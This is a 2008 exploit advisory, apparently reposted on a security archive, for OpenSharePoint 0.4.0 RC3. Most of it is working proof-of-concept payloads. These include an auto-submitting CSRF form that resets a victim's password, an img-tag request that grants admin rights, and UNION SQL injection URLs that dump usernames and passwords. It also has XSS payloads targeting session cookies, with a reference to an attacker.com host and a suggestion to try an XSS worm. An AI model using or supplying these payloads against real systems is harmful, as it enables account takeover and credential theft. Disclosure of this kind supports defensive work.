what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

osp-sqlxssxsrf.txt

osp-sqlxssxsrf.txt
Posted Aug 31, 2008
Authored by C1c4Tr1Z | Site lowsec.org

OpenSharePoint version 0.4.0 RC3 suffers from remote SQL injection, cross site scripting, and cross site request forgery vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection, csrf
SHA-256 | ffa4368c38d195b0e5c5c0cb44e7351cac676530cad030d7dced9b5a52df9c13

osp-sqlxssxsrf.txt

Change Mirror Download
#=======================================================================#
.____ _________ ._.
| | ______ _ __/ _____/ ____ ____| |
| | / _ \ \/ \/ /\_____ \_/ __ \_/ ___\ |
| |__( <_> ) / / \ ___/\ \___\|
|_______ \____/ \/\_/ /_______ /\___ >\___ >_
\/ \/ \/ \/\/
(http://wwwlowsec.org)
#========================================================================#
Author: C1c4Tr1Z
Date: 28/08/08
Application: OpenSharePoint 0.4.0 RC3 (16/02/2006)
Product WebSite: http://sourceforge.net/projects/opensharepoint/

#========================================================================#
#============================[CSRF]======================================#

This web application don't seems to have a token or protection for the profile
forms. With this simple HTML code we can use those forms to change the users
passwords, and if you modify it a little bit you can change all his info.
If you add an IMG tag somewhere, to exploit this issue:

<img src="http://www.attacker.com/csrf_attack.html"/>

POC:

<form method="POST" name="frmedit" action="http://www.victim.com/dir_to_OSP/module.php" enctype="multipart/form-data">
<input type="hidden" name="modname" value="Profile">
<input type="hidden" name="mf" value="pfedit">
<input type="hidden" name="ac" value="doedit">
<input type="password" name="userPassword00" value="NEW_PASSWORD">
<input type="password" name="userPassword01" value="NEW_PASSWORD">
</form>
<script>frmedit.submit()</script>

Or you can simply make yourself an ADMIN. Remember that the GROUPID number 1
is the admin group.

POC:

<img src="http://www.victim.com/dir_to_OSP/setting.php?modname=User&mf=usredit&usrid=2&ac=3&userFname=hacker&userLname=hacker&userName=USERNAME&userPassword=PASSWORD&userEmail=&userDes=&doclibId=1&userNotify=N&groupId=GROUPID">

#========================================================================#
#=============================[SQLi]=====================================#

If you have access to the website, you can extract other users passwords,
usernames, IDs, etc.*

POC:

/module.php?modname=Document&mf=docfile&doclibId=1 AND 1=0 UNION SELECT 1,2,CONCAT_WS(0x3A,userId,userName,userPassword),4,5,6,7,8 FROM focus_sp_user--
/setting.php?modname=User&mf=usredit&usrid=1 AND 1=0 UNION SELECT 1,2,3,4,5,CONCAT_WS(0x3A,userId,userName,userPassword),7,8,9,10,11 FROM focus_sp_user--&ac=2

(*) The table prefix can be changed during the installation. I used the
default prefix: focus_sp.

#========================================================================#
#=============================[XSS]======================================#

You are hable to steal the users cookies or make any type of accion/changes
with JavaScript. You may want to try if some XSS worm with XHR works :)).

POC:

/module.php?modname=Document&doclibId=1&mf=docfind&ac=dofind&keyword="><img/src/onerror=alert(document.cookie) foo="&lookin=0
/module.php?modname=Appointment&stamp=1217473200"><img/src/onerror=alert(document.cookie) foo="

#========================================================================#
#========================================================================#
Contact: C1c4Tr1Z <c1c4tr1z@lowsec.org>
(http://wwwlowsec.org)
LowSec! Web Application Security (Lab).
Deus ex Machina
#========================================================================#
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close